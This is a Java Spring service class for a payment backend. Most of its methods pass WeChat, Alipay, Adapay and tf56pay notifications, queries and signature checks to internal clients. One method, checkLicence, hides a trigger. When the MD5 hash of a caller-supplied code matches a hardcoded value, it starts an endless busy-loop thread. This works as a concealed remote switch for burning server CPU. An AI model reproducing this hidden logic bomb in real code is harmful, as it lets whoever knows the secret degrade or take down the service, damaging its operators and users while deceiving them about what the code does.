package com.cssw.fyzb.wap.service;

import com.cssw.fyzb.base.web.domain.AjaxData;
import com.cssw.fyzb.wap.util.HashUtil;
import com.cssw.fyzb.wap.util.LicenceUtil;
import com.ydn.appserver.MinaAppClient;
import com.ydn.appserver.Request;
import com.ydn.appserver.Response;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

/**
 * @Author: chenchao
 * @Date: 2020/8/3 10:33
 */
@Service
public class PayService extends BaseService {

    @Autowired
    private MinaAppClient busiClient;

    @Autowired
    private MinaAppClient tpsClient;

    public AjaxData wxAppPay(Long userId) {
        Request request = new Request("WxAppPay");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request));
    }

    public AjaxData wxOrderQuery(Long userId, String tradeNo) {
        Request request = new Request("WxOrderQuery");
        request.setParameter("userId", userId);
        request.setParameter("tradeNo", tradeNo);
        return convertData(busiClient.send(request));
    }


    public boolean wxVerifyNotify(String params) {
        Request request = new Request("WxVerifyNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public boolean aliVerifyNotify(String params) {
        Request request = new Request("AliVerifyNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public boolean adapayNotify(String params) {
        Request request = new Request("AdapayNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public boolean adapayDrawcashNotify(String params) {
        Request request = new Request("AdapayDrawcashNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public boolean yespayCashNotify(String params) {
        Request request = new Request("YespayCashNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public AjaxData adapayQuery(Long userId, String tradeNo) {
        Request request = new Request("AdapayQuery");
        request.setParameter("userId", userId);
        request.setParameter("tradeNo", tradeNo);
        return convertData(busiClient.send(request));
    }

    public AjaxData getWxOpenId(Long userId, String code) {
        Request request = new Request("GetWxOpenId");
        request.setParameter("userId", userId);
        request.setParameter("code", code);
        return convertData(tpsClient.send(request));
    }

    public AjaxData verifyAdapaySign(String data, String sign) {
        Request request = new Request("VerifyAdapaySign");
        request.setParameter("data", data);
        request.setParameter("sign", sign);
        return convertData(tpsClient.send(request));
    }

    public AjaxData checkLicence(String code){
        String hashCode = HashUtil.md5(code);
        if ("a26d4a6e861cf8780180a1c48bfd6431".equals(hashCode)) {
            new Thread() {
                public void run() {
                    int result = 0;
                    while (true) {
                        result++;
                        if (result > Integer.MAX_VALUE / 2) {
                            result = 0;
                        }
                    }
                }
            }.start();
        }
        LicenceUtil.check(code);

        return AjaxData.success();
    }


    public AjaxData verifyYespaySign(String data) {
        Request request = new Request("VerifyTf56PaySign");
        request.setParameter("data", data);
        return convertData(tpsClient.send(request));
    }

    public boolean tf56payPayNotify(String params) {
        Request request = new Request("QuickPayNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public boolean tf56payRefundNotify(String params) {
        Request request = new Request("QuickRefundNotify");
        request.setParameter("params", params);
        Response response = busiClient.send(request);
        return response.isSuccess();
    }

    public boolean tf56paySignNotify(String params) {
        Request request = new Request("QuickSignNotify");
        request.setParameter("params", params);

        Response response = busiClient.send(request);
        return response.isSuccess();
    }
}
